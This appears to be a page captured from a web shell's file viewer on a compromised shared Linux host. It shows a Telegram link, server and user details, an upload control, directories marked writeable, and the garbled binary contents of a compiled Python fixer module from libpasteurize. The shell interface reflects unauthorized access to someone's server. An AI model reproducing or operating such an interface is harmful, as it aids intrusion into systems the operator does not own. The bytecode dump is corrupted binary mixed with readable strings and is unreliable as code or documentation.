https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/libpasteurize/fixes/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/libpasteurize/fixes/__pycache__/fix_annotations.cpython-310.pyc
o

,�]-�@sJdZddlmZddlmZddlmZdZdd�ZGdd	�d	ej	�Z
d
S)z&
Fixer to remove function annotations
�)�
fixer_base)�token)�symsz)Removing function annotations completely.cCs
|jdS)Nr)�children)�node�r�E/usr/lib/python3/dist-packages/libpasteurize/fixes/fix_annotations.py�param_without_annotationss
r	c@s$eZdZdZdd�ZdZdd�ZdS)�FixAnnotationsFcCs"|jsd|_|j||d�dSdS)NT��reason)�warned�warning)�selfrrrrr�	warn_onces�zFixAnnotations.warn_oncezm
              funcdef< 'def' any parameters< '(' [params=any] ')' > ['->' ret=any] ':' any* >
              cCs�|�d�}|�d�}|dur)|jjtjksJd��|j|td�|j��|��|dur/dS|jtj	krQ|j
D]}|jtjkrN|j|td�|�t
|��q8dS|jtjkrg|j|td�|�t
|��dSdS)zK
        This just strips annotations from the funcdef completely.
        �params�retNzInvalid return annotationr)�get�prev_sibling�typer�RARROWr�warning_text�remover�
typedargslistr�tname�replacer	)rr�resultsrr�paramrrr�	transforms&



���zFixAnnotations.transformN)�__name__�
__module__�__qualname__r
r�PATTERNrrrrrr
s
r
N)�__doc__�lib2to3r�
lib2to3.pgen2r�lib2to3.fixer_utilrrr	�BaseFixr
rrrr�<module>s

https://t.me/RX1948 - 2025